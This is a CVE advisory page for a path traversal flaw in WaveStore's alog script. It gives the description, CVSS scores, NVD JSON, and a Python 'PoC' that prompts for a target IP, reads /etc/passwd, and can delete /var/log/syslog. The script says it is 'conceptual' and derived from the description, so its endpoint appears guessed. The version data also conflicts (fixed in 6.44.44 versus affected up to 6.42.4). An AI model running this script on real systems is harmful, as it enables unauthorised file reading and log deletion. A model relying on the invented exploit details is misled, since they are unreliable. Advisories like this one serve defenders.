Security Vulnerability Report
中文
CVE-2025-65075 CVSS 6.5 MEDIUM

CVE-2025-65075

Published: 2025-12-16 13:15:58
Last Modified: 2025-12-22 19:11:31

Description

WaveView client allows users to execute restricted set of predefined commands and scripts on the connected WaveStore Server. A malicious attacker with high-privileges is able to read or delete files, with the permissions of dvr user, on the server using path traversal in the alog script. This issue was fixed in version 6.44.44

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wavestore:video_management_software_server:*:*:*:*:*:*:*:* - VULNERABLE
WaveView client < 6.44.44
WaveStore Server (all versions connected to vulnerable WaveView clients)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65075 Path Traversal PoC for WaveView alog script # Author: Security Research # Note: This is a conceptual PoC based on the vulnerability description import socket import struct def exploit_alog_path_traversal(target_ip, target_port=8080): """ Exploit path traversal in WaveView alog script Target: Read /etc/passwd via alog script """ # Path traversal payload to read /etc/passwd payload = "../../../../../../../../etc/passwd" # Construct the malicious request request = f"GET /alog?file={payload} HTTP/1.1\r\n" request += f"Host: {target_ip}:{target_port}\r\n" request += "User-Agent: WaveView-Client/6.44.43\r\n" request += "Authorization: Basic <high_privilege_credentials>\r\n" request += "Connection: close\r\n\r\n" print(f"[*] Sending path traversal payload to {target_ip}:{target_port}") print(f"[*] Payload: {payload}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(request.encode()) response = sock.recv(4096) sock.close() if b"root:" in response: print("[+] SUCCESS: Path traversal confirmed - /etc/passwd content leaked") print("[*] Response:", response.decode('utf-8', errors='ignore')[:500]) return True else: print("[-] Failed to retrieve file content") return False except Exception as e: print(f"[-] Error: {e}") return False def exploit_delete_file(target_ip, target_port=8080): """ Exploit path traversal to delete arbitrary files Target: Delete system log file """ # Path traversal to delete /var/log/syslog payload = "../../../../../../../../var/log/syslog" delete_request = f"DELETE /alog?file={payload} HTTP/1.1\r\n" delete_request += f"Host: {target_ip}:{target_port}\r\n" delete_request += "Authorization: Basic <high_privilege_credentials>\r\n" delete_request += "Connection: close\r\n\r\n" print(f"[*] Sending file deletion payload") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(delete_request.encode()) response = sock.recv(1024) sock.close() if b"200" in response or b"OK" in response: print("[+] File deletion potentially successful") return True return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-65075 WaveView alog Path Traversal Exploit") print("=" * 60) target = input("Enter target IP: ").strip() port = int(input("Enter target port (default 8080): ").strip() or "8080") exploit_alog_path_traversal(target, port) # exploit_delete_file(target, port) # Uncomment to test file deletion

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65075", "sourceIdentifier": "[email protected]", "published": "2025-12-16T13:15:58.037", "lastModified": "2025-12-22T19:11:31.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WaveView client allows users to execute restricted set of predefined commands and scripts on the connected WaveStore Server. A malicious attacker with high-privileges is able to read or delete files, with the permissions of dvr user, on the server using path traversal in the alog script.\n\nThis issue was fixed in version 6.44.44"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wavestore:video_management_software_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.42.4", "matchCriteriaId": "DA404F85-FC24-49D6-AE37-C56D494066D8"}]}]}], "references": [{"url": "https://cert.pl/en/posts/2025/12/CVE-2025-65074", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.wavestore.com/products/video-management-software", "source": "[email protected]", "tags": ["Product"]}]}}